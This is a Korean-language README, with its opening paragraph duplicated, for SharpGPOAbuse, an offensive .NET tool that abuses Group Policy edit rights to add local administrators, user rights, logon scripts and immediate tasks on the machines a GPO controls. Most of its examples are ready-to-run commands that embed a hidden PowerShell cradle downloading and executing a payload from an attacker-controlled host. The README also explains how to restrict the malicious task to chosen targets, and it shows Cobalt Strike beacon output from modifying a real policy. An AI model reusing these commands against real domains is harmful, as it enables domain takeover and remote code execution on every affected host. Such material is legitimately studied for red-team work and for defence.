
SharpGPOAbuse는 C#으로 작성된 .NET 애플리케이션으로, 그룹 정책 개체(GPO)에 대한 사용자의 편집 권한을 활용하여 해당 GPO가 제어하는 개체를 손상시키는 데 사용할 수 있습니다.
SharpGPOAbuse는 C#으로 작성된 .NET 애플리케이션으로, 그룹 정책 개체(GPO)에 대한 사용자의 편집 권한을 이용하여 해당 GPO에 의해 제어되는 개체를 손상시키는 데 사용할 수 있습니다.
자세한 내용은 다음 블로그 게시물에서 확인할 수 있습니다: https://labs.mwrinfosecurity.com/tools/sharpgpoabuse
필요한 NuGet 패키지가 제대로 설치되어 있는지 확인하고 Visual Studio에서 프로젝트를 빌드하기만 하면 됩니다.
사용법:
SharpGPOAbuse.exe <AttackType> <AttackOptions>
현재 SharpGPOAbuse는 다음 옵션을 지원합니다:
| 옵션 | 설명 |
|---|---|
| --AddUserRights | 사용자에게 권한 추가 |
| --AddLocalAdmin | 사용자를 로컬 관리자 그룹에 추가 |
| --AddComputerScript | 새 컴퓨터 시작 스크립트 추가 |
| --AddUserScript | 사용자 로그온 스크립트 구성 |
| --AddComputerTask | 컴퓨터 즉시 작업 구성 |
| --AddUserTask | 사용자에게 즉시 작업 추가 |
새 사용자 권한을 추가하는 데 필요한 옵션:
--UserRights
사용자에게 추가할 새 권한을 설정합니다. 이 옵션은 대소문자를 구분하며 쉼표로 구분된 목록을 사용해야 합니다.
--UserAccount
새 권한을 추가할 계정을 설정합니다.
--GPOName
취약한 GPO의 이름입니다.
예시:
SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"
새 로컬 관리자를 추가하는 데 필요한 옵션:
--UserAccount
로컬 관리자에 추가될 계정의 이름을 설정합니다.
--GPOName
취약한 GPO의 이름입니다.
예시:
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
새 사용자 또는 컴퓨터 시작 스크립트를 추가하는 데 필요한 옵션:
--ScriptName
새 시작 스크립트의 이름을 설정합니다.
--ScriptContents
새 시작 스크립트의 내용을 설정합니다.
--GPOName
취약한 GPO의 이름입니다.
예시:
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
취약한 GPO에 의해 제어되는 특정 사용자나 컴퓨터에서만 악성 스크립트를 실행하려면 악성 스크립트 안에 if 문을 추가할 수 있습니다:
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==<targetusername> powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
새 컴퓨터 또는 사용자 즉시 작업을 추가하는 데 필요한 옵션:
--TaskName
새 컴퓨터 작업의 이름을 설정합니다.
--Author
새 작업의 작성자를 설정합니다(DA 계정 사용).
--Command
실행할 명령어입니다.
--Arguments
명령어에 전달할 인수입니다.
--GPOName
취약한 GPO의 이름입니다.
추가 사용자 작업 옵션:
--FilterEnabled
사용자 즉시 작업에 대한 대상 필터링을 활성화합니다.
--TargetUsername
대상 사용자입니다. 악성 작업은 지정된 사용자에서만 실행됩니다. <DOMAIN>\<USERNAME> 형식이어야 합니다.
--TargetUserSID
대상 사용자의 SID입니다.
추가 컴퓨터 작업 옵션:
--FilterEnabled
컴퓨터 즉시 작업에 대한 대상 필터링을 활성화합니다.
--TargetDnsName
대상 컴퓨터의 DNS 이름입니다. 악성 작업은 지정된 호스트에서만 실행됩니다.
예시:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
취약한 GPO에 의해 제어되는 특정 사용자나 컴퓨터에서만 악성 작업을 실행하려면 다음과 유사한 방법을 사용할 수 있습니다:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com
| 옵션 | 설명 |
|---|---|
| --DomainController | 대상 도메인 컨트롤러 설정 |
| --Domain | 대상 도메인 설정 |
| --Force | 필요한 경우 기존 파일 덮어쓰기 |
beacon> execute-assembly /root/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[*] Tasked beacon to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"I
EX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[+] host called home, sent: 171553 bytes
[+] received output:
[+] Domain = europa.com
[+] Domain Controller = EURODC01.europa.com
[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com
[+] GUID of "Default Server Policy" is: {877CB769-3543-40C6-A757-F2DF4E5E28BD}
[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!